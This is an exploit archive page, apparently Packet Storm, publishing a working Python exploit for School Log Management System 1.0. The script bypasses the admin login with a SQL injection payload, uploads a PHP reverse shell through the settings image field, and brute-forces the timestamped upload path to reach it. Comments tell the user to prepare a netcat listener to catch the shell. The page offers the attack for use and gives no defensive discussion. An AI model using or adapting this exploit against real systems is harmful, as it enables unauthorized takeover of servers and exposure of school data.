what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

School Log Management System 1.0 Code Execution / SQL Injection

School Log Management System 1.0 Code Execution / SQL Injection
Posted Nov 4, 2020
Authored by mosaaed

School Log Management System version 1.0 suffers from a remote SQL injection vulnerability that could lead to code execution.

tags | exploit, remote, code execution, sql injection
SHA-256 | 37dbf7d16b0ca35df1ca7256b41976c30dded9c8c74934b116c7736f5c9f5757

School Log Management System 1.0 Code Execution / SQL Injection

Change Mirror Download
# Exploit Title: School Log Management System 1.0 - 'username' SQL Injection / Remote Code Execution
# Date: 4-11-2020
# Exploit Author: mosaaed
# Vendor Homepage: https://www.sourcecodester.com/php/14562/school-log-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/school-log-management-system_1.zip
# Version: 1.0
# Tested on: Parrot 5.5.17 + Apache 2.4.46

# replace shell.php with your own php reverse shell
# change [TARGET URL] to target URL or IP address
# setup your netcat listener for sum good ol shellz



#!/usr/bin/python3

import requests
import time

def sqli_admin():
s = requests.Session()
data = {"username":"admin'or'1'=1#","password":"hacked"}
adminlogin = "http://localhost/slms/admin/ajax.php?action=save_settings"
s.post(adminlogin,data=data)
return s

def trigger_rce(session):
starttime = int(time.time())
multipart_form_data = {
"name": ("cyberscurity"),
"email": ("test@test.com"),
"contact" : ("+11111111111"),
"about" : ("Nothing much about it"),
"img" : ("shell.php", open("shell.php", "rb"))
}
session.post("http://localhost/slms/admin/ajax.php?action=save_settings", files=multipart_form_data)
get_shell(starttime-100,starttime+100,session)


def get_shell(start,end,session):
for i in range(start,end):
session.get("http://localhost/slms/admin/assets/uploads/"+str(i)+"_shell.php")
response = requests.get ("http://localhost/slms/admin/assets/uploads/"+ str(i) +"_shell.php")
if response.status_code == 200:
print("http://localhost/slms/admin/assets/uploads/"+str(i)+"_shell.php")


def main():
session = sqli_admin()
trigger_rce(session)

if __name__ == '__main__':
main()
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close